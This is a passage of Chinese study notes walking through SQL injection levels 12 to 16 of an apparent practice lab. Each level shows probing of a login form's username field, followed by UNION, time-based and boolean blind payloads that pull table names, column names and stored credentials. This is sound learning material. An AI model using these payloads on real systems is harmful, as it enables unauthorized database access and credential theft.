# 判断当前表的列数 得出当前表有3列
#查看显示位
uname=admin' and 1=1 order by 1 # 成功
uname=admin' and 1=1 order by 2 # 成功
uname=admin' and 1=1 order by 3 # 报错
在这解释一下同一个数据库的数据表 为什么之前都是4列报错 这就3列报错了
因为数据表的确有3列 之前不报错的原因是 前几关服务器的查询语句是select * from
但是在这关开始 服务器的查询语句是 select username,password from
#查看显示位 得知查找的结果全部显示出来了 显示位为1,2号
uname=admin' and 1=2 union select 1,2#
#查看当前数据库
uname=admisn' and 1=2 union select database(),2# 在1号位的位置输出了当前数据库名
uname=admi11n' and 1=2 union select database(),2# 这个也能看出来根本不需要正确的账号也能进行sql注入
#查看当前数据库所有表
uname=adsssmin' and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#查看某表的字段名
uname=admssin' and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),2#
#查看字段值
uname=admsadin' and 1=2 union select (select concat_ws(',',id,username,password) from security.users limit 0,1),2#
less-12
判断注入点
uname=admin 成功
uname=admin' 无输出并显示登录失败
uname=admin'asdasdzxc# 无输出 并显示登录失败
uname=admin and 1=1# 无输出 并显示登录失败
通过以上 大概就能判断出这个一个字符型注入点 但是对参数的处理并不是使用单引号
uname=admin\ 报错:to use near 'admin")
通过这一点 确定这是一个字符注入点 对参数的处理方式为双引号 外加一个括号
服务器参数的形式为 ("$id")
注入操作
sql复制代码
# 判断当前表的列数 得出当前表有3列
#查看显示位
uname=admin") and 1=1 order by 1 # 成功
uname=admin") and 1=1 order by 2 # 成功
uname=admin") and 1=1 order by 3 # 报错
在这解释一下同一个数据库的数据表 为什么之前都是4列报错 这就3列报错了
因为数据表的确有3列 之前不报错的原因是 前几关服务器的查询语句是select * from
但是在这关开始 服务器的查询语句是 select username,password from
#查看显示位 得知查找的结果全部显示出来了 显示位为1,2号
uname=admssin") and 1=2 union select 1,2#
#查看当前数据库
uname=admdasdain") and 1=2 union select database(),2# 在1号位的位置输出了当前数据库名
#查看当前数据库所有表
uname=adzcxzsmin") and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#查看某表的字段名
uname=adasdamin") and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),2#
#查看字段值
uname=admin") and 1=2 union select (select concat_ws(',',id,username,password) from security.users limit 0,1),2#
less-13
判断注入点
uname=admin 无输出 但显示登录成功
uname=123213123 无输出 登录失败
通过以上可以推测出 不显示任何信息值 只告诉你是否登录成功 只能采用布尔注入的方式
登陆成功:服务器SQL语句查询到结果 判定查询为TRUE状态
登录失败:服务器SQL语句没有查询到结果 判定查询为FALSE状态
uname=admin' 报错:to use near 'admin')
通过报错推测出 该注入点为POST字符型服务器对参数的处理形式为使用单引号加上括号
服务器参数的形式为 ('$id')
以上推断出该关卡是用布尔盲注的方法进行注入
我一开始采用的是盲注的方式 最后发现这题是布尔注入的方式 两种方式都可以
注入操作
盲注
sql复制代码
#推断数据库长度
uname=admin') and if(length(database())>0,sleep(2),1)# 有延时
为什么会显示登录失败 因为sleep的返回值是0
#推断当前数据库
uname=admin') and if (ascii(substr(database(),1,1))>0,sleep(2),1)# 有延时
#推断当前数据库所有表
uname=admin') and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),1)# 有延时
#查看某表的字段名
uname=admin') and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),1)# 有延时
#查看字段值
uname=admin') and if (ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67,sleep(2),1)#
布尔注入
sql复制代码
#推断数据库长度
uname=admin') and length(database())>0# 显示成功
uname=admin') and length(database())>10# 显示失败
#推断当前数据库
uname=admin') and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin') and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0# 显示登录成功
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin') and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin') and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功
less-14
判断注入点(这是最详细的判断过程)
uname=admin 无返回结果 登录成功
uname=admin' 无返回结果 登录失败
第二个语句无报错 可能有两种情况
①服务器不让错误信息输出出来 参数可能是整型也有可能是字符型(形式为单引号)
②参数是字符型的 服务器对参数的处理方式没有使用单引号
uname=admin' # 无返回结果 登录失败
推断(这个推断没什么用)只是排除了 服务器不让错误信息输出出来 参数是单引号字符型
参数如果是字符 没有使用单引号
参数如果是整型 服务器不让错误信息显示出来
继续尝试
假定参数为整型
uname=admin and 1=1 无任何显示 登录失败
确定参数不为整型
只有一种结果了
参数是字符 没有使用单引号
于是
uname=admin\ 报错:'admin"
确定 服务区对参数的处理是双引号
uname=admin" and 1=1 # 成功
uname=admin" and 1=2 # 失败
使用布尔注入的方式
注入操作
sql复制代码
#推断数据库长度
uname=admin" and length(database())>0# 显示成功
uname=admin" and length(database())>10# 显示失败
#推断当前数据库
uname=admin" and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin" and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表
uname=admin" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0# 显示登录成功
uname=admin" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin" and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin" and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功
less-15
判断注入点
uname=admin 无返回结果 登录成功
uname=qwe123 无返回结果 登录失败
uname=admin' 无返回结果 登录失败
uname=admin and 1=1 无返回结果 登录失败
uname=admin' and '1'='1 无返回结果 登录成功、
通过以上推理可以判定
①单引号字符型注入
②对错误不输出
③使用布尔型注入
注入操作
sql复制代码
#推断数据库长度
uname=admin' and length(database())>0# 显示成功
uname=admin' and length(database())>10# 显示失败
#推断当前数据库
uname=admin' and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin' and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0# 显示登录成功
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功
less-16
判断注入点
uname=admin 无返回结果 登录成功
uname=12313123 无返回结果 登录失败
uname=admin' 无返回结果 登录失败
uname=admin\ 无返回结果 登录失败
uname=admin and 1=1 无返回结果 登录失败
uname=admin' and '1'='1 无返回结果 登录失败
通过以上判断出
①对错误不输出
②不是整型也不是单引号形式的字符型注入点
③只能是以其他形式的字符注入点
uname=admin") # 登录成功
以上推断出这是一个布尔型注入点
注入操作
sql复制代码
#推断数据库长度
uname=admin") and length(database())>0# 显示成功
uname=admin") and length(database())>10# 显示失败
#推断当前数据库
uname=admin") and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin") and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0# 显示登录成功
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin") and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin") and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功